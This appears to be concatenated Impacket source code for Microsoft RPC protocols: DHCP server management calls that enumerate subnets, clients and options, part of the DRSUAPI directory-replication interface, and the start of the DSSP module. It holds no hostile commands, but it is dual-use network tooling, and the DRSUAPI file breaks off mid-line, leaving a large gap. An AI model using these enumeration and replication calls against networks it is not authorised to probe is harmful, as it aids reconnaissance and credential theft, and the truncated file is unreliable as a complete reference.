('MaxBootpAllowed', ULONG ), ) class DHCP_IP_RESERVATION_V4(NDRSTRUCT): structure = ( ('ReservedIpAddress', DHCP_IP_ADDRESS), ('ReservedForClient', DHCP_CLIENT_UID), ('bAllowedClientTypes', BYTE), ) class DHCP_IP_RANGE(NDRSTRUCT): structure = ( ('StartAddress', DHCP_IP_ADDRESS), ('EndAddress', DHCP_IP_ADDRESS), ) class DHCP_IP_CLUSTER(NDRSTRUCT): structure = ( ('ClusterAddress', DHCP_IP_ADDRESS), ('ClusterMask', DWORD), ) class DHCP_SUBNET_ELEMENT_TYPE(NDRENUM): class enumItems(Enum): DhcpIpRanges = 0 DhcpSecondaryHosts = 1 DhcpReservedIps = 2 DhcpExcludedIpRanges = 3 DhcpIpUsedClusters = 4 DhcpIpRangesDhcpOnly = 5 DhcpIpRangesDhcpBootp = 6 DhcpIpRangesBootpOnly = 7 class DHCP_SUBNET_ELEMENT_UNION_V5(NDRUNION): union = { DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges : ('IpRange', DHCP_BOOTP_IP_RANGE), DHCP_SUBNET_ELEMENT_TYPE.DhcpSecondaryHosts : ('SecondaryHost', DHCP_HOST_INFO), DHCP_SUBNET_ELEMENT_TYPE.DhcpReservedIps : ('ReservedIp', DHCP_IP_RESERVATION_V4), DHCP_SUBNET_ELEMENT_TYPE.DhcpExcludedIpRanges : ('ExcludeIpRange', DHCP_IP_RANGE), DHCP_SUBNET_ELEMENT_TYPE.DhcpIpUsedClusters : ('IpUsedCluster', DHCP_IP_CLUSTER), } class DHCP_SUBNET_ELEMENT_DATA_V5(NDRSTRUCT): structure = ( ('ElementType', DHCP_SUBNET_ELEMENT_TYPE), ('Element', DHCP_SUBNET_ELEMENT_UNION_V5), ) class LPDHCP_SUBNET_ELEMENT_DATA_V5(NDRUniConformantArray): item = DHCP_SUBNET_ELEMENT_DATA_V5 class DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Elements', LPDHCP_SUBNET_ELEMENT_DATA_V5), ) class LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5(NDRPOINTER): referent = ( ('Data', DHCP_SUBNET_ELEMENT_INFO_ARRAY_V5) ) class DHCP_OPTION_DATA_TYPE(NDRENUM): class enumItems(Enum): DhcpByteOption = 0 DhcpWordOption = 1 DhcpDWordOption = 2 DhcpDWordDWordOption = 3 DhcpIpAddressOption = 4 DhcpStringDataOption = 5 DhcpBinaryDataOption = 6 DhcpEncapsulatedDataOption = 7 DhcpIpv6AddressOption = 8 class DHCP_OPTION_ELEMENT_UNION(NDRUNION): commonHdr = ( ('tag', DHCP_OPTION_DATA_TYPE), ) union = { DHCP_OPTION_DATA_TYPE.DhcpByteOption : ('ByteOption', BYTE), DHCP_OPTION_DATA_TYPE.DhcpWordOption : ('WordOption', WORD), DHCP_OPTION_DATA_TYPE.DhcpDWordOption : ('DWordOption', DWORD), DHCP_OPTION_DATA_TYPE.DhcpDWordDWordOption : ('DWordDWordOption', DWORD_DWORD), DHCP_OPTION_DATA_TYPE.DhcpIpAddressOption : ('IpAddressOption', DHCP_IP_ADDRESS), DHCP_OPTION_DATA_TYPE.DhcpStringDataOption : ('StringDataOption', LPWSTR), DHCP_OPTION_DATA_TYPE.DhcpBinaryDataOption : ('BinaryDataOption', DHCP_BINARY_DATA), DHCP_OPTION_DATA_TYPE.DhcpEncapsulatedDataOption: ('EncapsulatedDataOption', DHCP_BINARY_DATA), DHCP_OPTION_DATA_TYPE.DhcpIpv6AddressOption : ('Ipv6AddressDataOption', LPWSTR), } class DHCP_OPTION_DATA_ELEMENT(NDRSTRUCT): structure = ( ('OptionType', DHCP_OPTION_DATA_TYPE), ('Element', DHCP_OPTION_ELEMENT_UNION), ) class DHCP_OPTION_DATA_ELEMENT_ARRAY2(NDRUniConformantArray): item = DHCP_OPTION_DATA_ELEMENT class LPDHCP_OPTION_DATA_ELEMENT(NDRPOINTER): referent = ( ('Data', DHCP_OPTION_DATA_ELEMENT_ARRAY2), ) class DHCP_OPTION_DATA(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Elements', LPDHCP_OPTION_DATA_ELEMENT), ) class DHCP_OPTION_VALUE(NDRSTRUCT): structure = ( ('OptionID', DHCP_OPTION_ID), ('Value', DHCP_OPTION_DATA), ) class PDHCP_OPTION_VALUE(NDRPOINTER): referent = ( ('Data', DHCP_OPTION_VALUE), ) class DHCP_OPTION_VALUE_ARRAY2(NDRUniConformantArray): item = DHCP_OPTION_VALUE class LPDHCP_OPTION_VALUE(NDRPOINTER): referent = ( ('Data', DHCP_OPTION_VALUE_ARRAY2), ) class DHCP_OPTION_VALUE_ARRAY(NDRSTRUCT): structure = ( ('NumElements', DWORD), ('Values', LPDHCP_OPTION_VALUE), ) class LPDHCP_OPTION_VALUE_ARRAY(NDRPOINTER): referent = ( ('Data', DHCP_OPTION_VALUE_ARRAY), ) class DHCP_ALL_OPTION_VALUES(NDRSTRUCT): structure = ( ('ClassName', LPWSTR), ('VendorName', LPWSTR), ('IsVendor', BOOL), ('OptionsArray', LPDHCP_OPTION_VALUE_ARRAY), ) class OPTION_VALUES_ARRAY(NDRUniConformantArray): item = DHCP_ALL_OPTION_VALUES class LPOPTION_VALUES_ARRAY(NDRPOINTER): referent = ( ('Data', OPTION_VALUES_ARRAY), ) class DHCP_ALL_OPTIONS_VALUES(NDRSTRUCT): structure = ( ('Flags', DWORD), ('NumElements', DWORD), ('Options', LPOPTION_VALUES_ARRAY), ) class LPDHCP_ALL_OPTION_VALUES(NDRPOINTER): referent = ( ('Data', DHCP_ALL_OPTIONS_VALUES), ) ################################################################################ # RPC CALLS ################################################################################ # Interface dhcpsrv class DhcpGetSubnetInfo(NDRCALL): opnum = 2 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SubnetAddress', DHCP_IP_ADDRESS), ) class DhcpGetSubnetInfoResponse(NDRCALL): structure = ( ('SubnetInfo', LPDHCP_SUBNET_INFO), ('ErrorCode', ULONG), ) class DhcpEnumSubnets(NDRCALL): opnum = 3 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumSubnetsResponse(NDRCALL): structure = ( ('ResumeHandle', LPDWORD), ('EnumInfo', DHCP_IP_ARRAY), ('EnumRead', DWORD), ('EnumTotal', DWORD), ('ErrorCode', ULONG), ) class DhcpGetOptionValue(NDRCALL): opnum = 13 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('OptionID', DHCP_OPTION_ID), ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), ) class DhcpGetOptionValueResponse(NDRCALL): structure = ( ('OptionValue', PDHCP_OPTION_VALUE), ('ErrorCode', ULONG), ) class DhcpEnumOptionValues(NDRCALL): opnum = 14 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumOptionValuesResponse(NDRCALL): structure = ( ('ResumeHandle', DWORD), ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), ('OptionsRead', DWORD), ('OptionsTotal', DWORD), ('ErrorCode', ULONG), ) class DhcpGetClientInfoV4(NDRCALL): opnum = 34 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SearchInfo', DHCP_SEARCH_INFO), ) class DhcpGetClientInfoV4Response(NDRCALL): structure = ( ('ClientInfo', LPDHCP_CLIENT_INFO_V4), ('ErrorCode', ULONG), ) class DhcpEnumSubnetClientsV4(NDRCALL): opnum = 35 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SubnetAddress', DHCP_IP_ADDRESS), ('ResumeHandle', DWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumSubnetClientsV4Response(NDRCALL): structure = ( ('ResumeHandle', LPDWORD), ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_V4), ('ClientsRead', DWORD), ('ClientsTotal', DWORD), ('ErrorCode', ULONG), ) # Interface dhcpsrv2 class DhcpEnumSubnetClientsV5(NDRCALL): opnum = 0 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SubnetAddress', DHCP_IP_ADDRESS), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumSubnetClientsV5Response(NDRCALL): structure = ( ('ResumeHandle', DWORD), ('ClientsInfo', LPDHCP_CLIENT_INFO_ARRAY_V5), ('ClientsRead', DWORD), ('ClientsTotal', DWORD), ) class DhcpGetOptionValueV5(NDRCALL): opnum = 21 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('Flags', DWORD), ('OptionID', DHCP_OPTION_ID), ('ClassName', LPWSTR), ('VendorName', LPWSTR), ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), ) class DhcpGetOptionValueV5Response(NDRCALL): structure = ( ('OptionValue', PDHCP_OPTION_VALUE), ('ErrorCode', ULONG), ) class DhcpEnumOptionValuesV5(NDRCALL): opnum = 22 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('Flags', DWORD), ('ClassName', LPWSTR), ('VendorName', LPWSTR), ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumOptionValuesV5Response(NDRCALL): structure = ( ('ResumeHandle', DWORD), ('OptionValues', LPDHCP_OPTION_VALUE_ARRAY), ('OptionsRead', DWORD), ('OptionsTotal', DWORD), ('ErrorCode', ULONG), ) class DhcpGetAllOptionValues(NDRCALL): opnum = 30 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('Flags', DWORD), ('ScopeInfo', DHCP_OPTION_SCOPE_INFO), ) class DhcpGetAllOptionValuesResponse(NDRCALL): structure = ( ('Values', LPDHCP_ALL_OPTION_VALUES), ('ErrorCode', ULONG), ) class DhcpEnumSubnetElementsV5(NDRCALL): opnum = 38 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SubnetAddress', DHCP_IP_ADDRESS), ('EnumElementType', DHCP_SUBNET_ELEMENT_TYPE), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumSubnetElementsV5Response(NDRCALL): structure = ( ('ResumeHandle', DWORD), ('EnumElementInfo', LPDHCP_SUBNET_ELEMENT_INFO_ARRAY_V5), ('ElementsRead', DWORD), ('ElementsTotal', DWORD), ('ErrorCode', ULONG), ) class DhcpEnumSubnetClientsVQ(NDRCALL): opnum = 47 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SubnetAddress', DHCP_IP_ADDRESS), ('ResumeHandle', LPDWORD), ('PreferredMaximum', DWORD), ) class DhcpEnumSubnetClientsVQResponse(NDRCALL): structure = ( ('ResumeHandle', LPDWORD), ('ClientInfo', LPDHCP_CLIENT_INFO_ARRAY_VQ), ('ClientsRead', DWORD), ('ClientsTotal', DWORD), ('ErrorCode', ULONG), ) class DhcpV4GetClientInfo(NDRCALL): opnum = 123 structure = ( ('ServerIpAddress', DHCP_SRV_HANDLE), ('SearchInfo', DHCP_SEARCH_INFO), ) class DhcpV4GetClientInfoResponse(NDRCALL): structure = ( ('ClientInfo', LPDHCP_CLIENT_INFO_PB), ('ErrorCode', ULONG), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { 0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response), 2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse), 3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse), 13: (DhcpGetOptionValue, DhcpGetOptionValueResponse), 14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse), 21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response), 22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response), 30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse), 34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response), 35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response), 38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response), 47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse), 123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse), } ################################################################################ # HELPER FUNCTIONS ################################################################################ def hDhcpGetClientInfoV4(dce, searchType, searchValue): request = DhcpGetClientInfoV4() request['ServerIpAddress'] = NULL request['SearchInfo']['SearchType'] = searchType request['SearchInfo']['SearchInfo']['tag'] = searchType if searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientIpAddress: request['SearchInfo']['SearchInfo']['ClientIpAddress'] = searchValue elif searchType == DHCP_SEARCH_INFO_TYPE.DhcpClientHardwareAddress: # This should be a DHCP_BINARY_DATA request['SearchInfo']['SearchInfo']['ClientHardwareAddress'] = searchValue else: request['SearchInfo']['SearchInfo']['ClientName'] = searchValue return dce.request(request) def hDhcpGetSubnetInfo(dce, subnetaddress): request = DhcpGetSubnetInfo() request['ServerIpAddress'] = NULL request['SubnetAddress'] = subnetaddress resp = dce.request(request) return resp def hDhcpGetOptionValue(dce, optionID, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): request = DhcpGetOptionValue() request['ServerIpAddress'] = NULL request['OptionID'] = optionID request['ScopeInfo']['ScopeType'] = scopetype if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: request['ScopeInfo']['ScopeInfo']['tag'] = scopetype if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp def hDhcpEnumOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, preferredMaximum=0xffffffff): request = DhcpEnumOptionValues() request['ServerIpAddress'] = NULL request['ScopeInfo']['ScopeType'] = scopetype if scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions and scopetype != DHCP_OPTION_SCOPE_TYPE.DhcpGlobalOptions: request['ScopeInfo']['ScopeInfo']['tag'] = scopetype if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp def hDhcpEnumOptionValuesV5(dce, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL, preferredMaximum=0xffffffff): request = DhcpEnumOptionValuesV5() request['ServerIpAddress'] = NULL request['Flags'] = flags request['ClassName'] = classname request['VendorName'] = vendorname request['ScopeInfo']['ScopeType'] = scopetype request['ScopeInfo']['ScopeInfo']['tag'] = scopetype if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp def hDhcpGetOptionValueV5(dce, option_id, flags=DHCP_FLAGS_OPTION_DEFAULT, classname=NULL, vendorname=NULL, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): request = DhcpGetOptionValueV5() request['ServerIpAddress'] = NULL request['Flags'] = flags request['OptionID'] = option_id request['ClassName'] = classname request['VendorName'] = vendorname request['ScopeInfo']['ScopeType'] = scopetype request['ScopeInfo']['ScopeInfo']['tag'] = scopetype if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp def hDhcpGetAllOptionValues(dce, scopetype=DHCP_OPTION_SCOPE_TYPE.DhcpDefaultOptions, options=NULL): request = DhcpGetAllOptionValues() request['ServerIpAddress'] = NULL request['Flags'] = NULL request['ScopeInfo']['ScopeType'] = scopetype request['ScopeInfo']['ScopeInfo']['tag'] = scopetype if scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpSubnetOptions: request['ScopeInfo']['ScopeInfo']['SubnetScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpReservedOptions: request['ScopeInfo']['ScopeInfo']['ReservedScopeInfo'] = options elif scopetype == DHCP_OPTION_SCOPE_TYPE.DhcpMScopeOptions: request['ScopeInfo']['ScopeInfo']['MScopeInfo'] = options status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp def hDhcpEnumSubnets(dce, preferredMaximum=0xffffffff): request = DhcpEnumSubnets() request['ServerIpAddress'] = NULL request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def hDhcpEnumSubnetClientsVQ(dce, preferredMaximum=0xffffffff): request = DhcpEnumSubnetClientsVQ() request['ServerIpAddress'] = NULL request['SubnetAddress'] = NULL request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def hDhcpEnumSubnetClientsV4(dce, preferredMaximum=0xffffffff): request = DhcpEnumSubnetClientsV4() request['ServerIpAddress'] = NULL request['SubnetAddress'] = NULL request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def hDhcpEnumSubnetClientsV5(dce, subnetAddress=0, preferredMaximum=0xffffffff): request = DhcpEnumSubnetClientsV5() request['ServerIpAddress'] = NULL request['SubnetAddress'] = subnetAddress request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def hDhcpEnumSubnetElementsV5(dce, subnet_address, element_type=DHCP_SUBNET_ELEMENT_TYPE.DhcpIpRanges, preferredMaximum=0xffffffff): request = DhcpEnumSubnetElementsV5() request['ServerIpAddress'] = NULL request['SubnetAddress'] = subnet_address request['EnumElementType'] = element_type request['ResumeHandle'] = NULL request['PreferredMaximum'] = preferredMaximum status = system_errors.ERROR_MORE_DATA while status == system_errors.ERROR_MORE_DATA: try: resp = dce.request(request) except DCERPCException as e: if str(e).find('ERROR_NO_MORE_ITEMS') < 0: raise resp = e.get_packet() return resp impacket-impacket_0_11_0/impacket/dcerpc/v5/drsuapi.py000066400000000000000000001251341446174712300230340ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-DRSR] Directory Replication Service (DRS) DRSUAPI Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from builtins import bytes import hashlib from struct import pack import six from six import PY2 from impacket import LOG from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER from impacket import hresult_errors, system_errors from impacket.structure import Structure from impacket.uuid import uuidtup_to_bin, string_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.krb5 import crypto from pyasn1.type import univ from pyasn1.codec.ber import decoder from impacket.crypto import transformKey try: from Cryptodome.Cipher import ARC4, DES except Exception: LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.critical("See https://pypi.org/project/pycryptodomex/") MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) elif key & 0xffff in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1] return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DRSR SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 4.1.10.2.17 EXOP_ERR Codes class EXOP_ERR(NDRENUM): align = 4 align64 = 4 structure = ( ('Data', '= 16384: # mark it so that it is known to not be the whole lastValue lowerWord += 32768 upperWord = pos attrTyp = ATTRTYP() attrTyp['Data'] = (upperWord << 16) + lowerWord return attrTyp def OidFromAttid(prefixTable, attr): # separate the ATTRTYP into two parts upperWord = attr // 65536 lowerWord = attr % 65536 # search in the prefix table to find the upperWord, if found, # construct the binary OID by appending lowerWord to the end of # found prefix. binaryOID = None for j, item in enumerate(prefixTable): if item['ndx'] == upperWord: binaryOID = item['prefix']['elements'][:item['prefix']['length']] if lowerWord < 128: binaryOID.append(pack('B',lowerWord)) else: if lowerWord >= 32768: lowerWord -= 32768 binaryOID.append(pack('B',(((lowerWord//128) % 128)+128))) binaryOID.append(pack('B',(lowerWord%128))) break if binaryOID is None: return None return str(decoder.decode(b'\x06' + pack('B',(len(binaryOID))) + b''.join(binaryOID), asn1Spec = univ.ObjectIdentifier())[0]) if __name__ == '__main__': prefixTable = [] oid0 = '1.2.840.113556.1.4.94' oid1 = '2.5.6.2' oid2 = '1.2.840.113556.1.2.1' oid3 = '1.2.840.113556.1.3.223' oid4 = '1.2.840.113556.1.5.7000.53' o0 = MakeAttid(prefixTable, oid0) print(hex(o0)) o1 = MakeAttid(prefixTable, oid1) print(hex(o1)) o2 = MakeAttid(prefixTable, oid2) print(hex(o2)) o3 = MakeAttid(prefixTable, oid3) print(hex(o3)) o4 = MakeAttid(prefixTable, oid4) print(hex(o4)) jj = OidFromAttid(prefixTable, o0) print(jj) jj = OidFromAttid(prefixTable, o1) print(jj) jj = OidFromAttid(prefixTable, o2) print(jj) jj = OidFromAttid(prefixTable, o3) print(jj) jj = OidFromAttid(prefixTable, o4) print(jj) impacket-impacket_0_11_0/impacket/dcerpc/v5/dssp.py000066400000000000000000000150101446174712300223250ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-DSSP] Interface implementation # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Simon Decosse (@simondotsh) # from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRENUM from impacket.dcerpc.v5.dtypes import UINT, LPWSTR, GUID from impacket import system_errors from impacket.dcerpc.v5.enum import Enum from impacket.uuid import uuidtup_to_bin MSRPC_UUID_DSSP = uuidtup_to_bin(('3919286A-B10C-11D0-9BA8-00C04FD92EF5', '0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in system_errors.ERROR_MESSAGES: error_msg_short = system_errors.ERROR_MESSAGES[key][0] error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] return 'DSSP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DSSP SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC DSROLE_PRIMARY_DS_RUNNING = 0x00000001 DSROLE_PRIMARY_DS_MIXED_MODE = 0x00000002 DSROLE_PRIMARY_DS_READONLY = 0x00000008 DSROLE_PRIMARY_DOMAIN_GUID_PRESENT = 0x01000000 #2.2.5 DSROLE_UPGRADE_STATUS_INFO DSROLE_UPGRADE_IN_PROGRESS = 0x00000004 ################################################################################ # STRUCTURES ################################################################################ #2.2.2 DSROLE_MACHINE_ROLE class DSROLE_MACHINE_ROLE(NDRENUM): class enumItems(Enum): DsRole_RoleStandaloneWorkstation = 0 DsRole_RoleMemberWorkstation = 1 DsRole_RoleStandaloneServer = 2 DsRole_RoleMemberServer = 3 DsRole_RoleBackupDomainController = 4 DsRole_RolePrimaryDomainController = 5 # 2.2.1 DSROLER_PRIMARY_DOMAIN_INFO_BASIC class DSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRSTRUCT): structure = ( ('MachineRole', DSROLE_MACHINE_ROLE), ('Flags', UINT), ('DomainNameFlat', LPWSTR), ('DomainNameDns', LPWSTR), ('DomainForestName', LPWSTR), ('DomainGuid', GUID), ) class PDSROLER_PRIMARY_DOMAIN_INFO_BASIC(NDRPOINTER): referent = ( ('Data', DSROLER_PRIMARY_DOMAIN_INFO_BASIC), ) # 2.2.4 DSROLE_OPERATION_STATE class DSROLE_OPERATION_STATE(NDRENUM): class enumItems(Enum): DsRoleOperationIdle = 0 DsRoleOperationActive = 1 DsRoleOperationNeedReboot = 2 # 2.2.3 DSROLE_OPERATION_STATE_INFO class DSROLE_OPERATION_STATE_INFO(NDRSTRUCT): structure = ( ('OperationState', DSROLE_OPERATION_STATE), ) class PDSROLE_OPERATION_STATE_INFO(NDRPOINTER): referent = ( ('Data', DSROLE_OPERATION_STATE_INFO), ) # 2.2.6 DSROLE_SERVER_STATE class DSROLE_SERVER_STATE(NDRENUM): class enumItems(Enum): DsRoleServerUnknown = 0 DsRoleServerPrimary = 1 DsRoleServerBackup = 2 class PDSROLE_SERVER_STATE(NDRPOINTER): referent = ( ('Data', DSROLE_SERVER_STATE), ) # 2.2.5 DSROLE_UPGRADE_STATUS_INFO class DSROLE_UPGRADE_STATUS_INFO(NDRSTRUCT): structure = ( ('OperationState', UINT), ('PreviousServerState', DSROLE_SERVER_STATE), ) class PDSROLE_UPGRADE_STATUS_INFO(NDRPOINTER): referent = ( ('Data', DSROLE_UPGRADE_STATUS_INFO), ) # 2.2.7 DSROLE_PRIMARY_DOMAIN_INFO_LEVEL class DSROLE_PRIMARY_DOMAIN_INFO_LEVEL(NDRENUM): class 